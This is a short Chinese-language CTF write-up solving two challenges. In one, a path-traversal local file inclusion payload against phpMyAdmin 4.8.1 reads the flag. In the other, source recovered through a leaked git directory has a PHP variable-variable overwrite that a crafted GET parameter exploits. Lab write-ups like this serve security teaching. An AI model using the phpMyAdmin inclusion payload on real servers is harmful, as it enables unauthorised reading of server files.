[GWCTF 2019]我有一个数据库1
启动靶机,发现并没什么有用信息,用dirsearch跑一下
爆破出了几个phpmyadmin目录下的几个文件
看一下第一个url
可以看到版本是4.8.1,百度一下这个版本的通用漏洞,phpmyadmin 4.8.1 本地文件包含漏洞
既然可以文件包含,直接构造payload:
phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag
拿到flag flag{603c33be-3f63-4868-97b3-f5468d21c535}
[BJDCTF2020]Mark loves cat1
启动靶机,测试了几个功能点,没什么发现,先上工具跑吧
虽然dirsearch只跑了百分之六,但是已经跑了好几个git目录下的文件了,猜测这道题关于git泄露的,所以直接换GitHack跑 (我爱脚本)
发现两个php文件,读源码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y; //POST型声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //如果GET型中flag变量的值等于GET型中一个不为flag的键名则退出
exit($handsome); //exit显然能利用
}
}
//如果GET型和POST型中都没有变量flag,则退出
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
?>
代码审计,需要传带flag的参数,尝试绕过第二个if语句
构造payload:
/index.php?yds=flag
拿到flag (页面最下方) flag{9a97bf85-5e8f-41c4-9a85-d1416d634378}